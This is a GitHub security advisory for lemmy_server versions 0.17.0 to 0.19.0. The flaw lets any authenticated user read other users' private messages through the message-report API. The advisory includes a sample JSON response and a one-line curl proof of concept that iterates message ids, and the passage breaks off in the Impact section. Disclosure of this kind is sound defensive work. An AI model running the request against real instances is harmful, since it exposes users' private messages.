GitHub Security Advisory: GHSA-r64r-5h43-26qv
Package: lemmy_server (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 0.17.0, < 0.19.1
Patched in: 0.19.1

Summary: Any authenticated user may obtain private message details from other users on the same instance

Details:
### Summary
Users can report private messages, even when they're neither sender nor recipient of the message.
The API response to creating a private message report contains the private message itself, which means any user can just iterate over message ids to (loudly) obtain all private messages of an instance.
A user with instance admin privileges can also abuse this if the private message is removed from the response, as they're able to see the resulting reports.

### Details
Creating a private message report by POSTing to `/api/v3/private_message/report` does not validate whether the reporter is the recipient of the message.
At least lemmy-ui does not allow the sender to report the message; the API method should likely be restricted to accessible to recipients only.
The API response when creating a report contains the `private_message_report_view` with all the details of the report, including the private message that has been reported:
<details>

<summary>Example response</summary>

In the report below, the creator with id 3 is different from the private message creator (id 2) and private message recipient (id 6).

```json
{
  "private_message_report_view": {
    "private_message_report": {
      "id": 14,
      "creator_id": 3,
      "private_message_id": 7,
      "original_pm_text": "testfoo",
      "reason": "reporting id 7",
      "resolved": false,
      "published": "2023-12-15T19:23:03.441967Z"
    },
    "private_message": {
      "id": 7,
      "creator_id": 2,
      "recipient_id": 6,
      "content": "testfoo",
      "deleted": false,
      "read": false,
      "published": "2023-12-15T19:21:41.920872Z",
      "ap_id": "https://1b1w56.lem.rocks/private_message/7",
      "local": true
    },
    "private_message_creator": {
      "id": 2,
      "name": "admin",
      "banned": false,
      "published": "2023-12-14T23:45:05.055427Z",
      "actor_id": "https://1b1w56.lem.rocks/u/admin",
      "local": true,
      "deleted": false,
      "bot_account": false,
      "instance_id": 1
    },
    "creator": {
      "id": 3,
      "name": "testuser1",
      "banned": false,
      "published": "2023-12-14T23:47:57.571772Z",
      "actor_id": "https://1b1w56.lem.rocks/u/testuser1",
      "local": true,
      "deleted": false,
      "bot_account": false,
      "instance_id": 1
    }
  }
}
```

</details>

If these details were not available in the response, but reports could still be created by any user, or at least by any admin, this would allow an instance admin to create reports and obtain the message contents from the report system.

This was originally discovered from incorrect reports on a 0.18.5 instance and has been replicated in a 0.19.0 test environment.

### PoC

```bash
curl -v 'https://myinstance.tld/api/v3/private_message/report' -X POST -H 'Content-Type: application/json' -H 'authorization: Bearer ...' --data-raw '{"private_message_id":1,"reason":"i like reports"}'
```

### Impact
Any authenticated user can obtain arbitrary (unta